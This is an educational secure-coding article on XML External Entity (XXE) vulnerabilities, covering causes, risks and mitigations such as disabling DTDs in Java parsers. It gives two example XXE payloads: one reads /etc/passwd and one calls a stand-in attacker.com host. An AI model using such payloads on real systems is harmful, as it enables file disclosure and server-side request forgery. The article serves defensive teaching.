A4 Vulnerability: XML External Entity (XXE)

XML External Entity (XXE) attacks occur when an application parses XML input containing a reference to an external entity. This can lead to the disclosure of confidential data, denial of service, server-side request forgery (SSRF), port scanning from the perspective of the machine where the parser is located, and other system impacts.

Causes of XXE

• Parsing XML input from untrusted sources
• Improperly configured XML parsers
• Lack of proper validation and sanitization of XML input

Examples

Basic XXE Example

Consider the following XML input:

<?xml version="1.0" ?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>

If this XML is parsed by an insecure XML parser, it will attempt to retrieve the content of the "/etc/passwd" file on a Unix-based system.

Exploiting XXE to Perform SSRF

An attacker can exploit XXE to send HTTP requests from the application server:

<?xml version="1.0" ?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com/malicious" > ]>
<foo>&xxe;</foo>

Mitigation Strategies

• Disable DTDs (External Entities) in the XML parsers.
• Use less complex data formats such as JSON, if possible.
• Validate and sanitize all XML input.
• Use updated and secure libraries and frameworks.

Detailed Mitigation Strategies

Disable DTDs in XML Parsers

Disabling DTDs prevents external entities from being parsed. For example, in Java:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Use Less Complex Data Formats

Where possible, use simpler data formats such as JSON, which do not support external entities.

Validate and Sanitize XML Input

Ensure that all XML input is validated against a whitelist of acceptable inputs and sanitized to remove any potentially dangerous content.

Use Secure Libraries and Frameworks

Always keep libraries and frameworks up to date to ensure you have the latest security patches and features.

Risks Associated with XXE

• Disclosure of confidential data
• Denial of service
• Server-side request forgery (SSRF)
• Port scanning and network reconnaissance
• Other system impacts

Conclusion

XML External Entity (XXE) vulnerabilities can have severe impacts, including data leakage, denial of service, and server-side request forgery. By disabling DTDs, using simpler data formats, validating and sanitizing input, and using secure libraries, you can significantly reduce the risk of XXE vulnerabilities in your applications.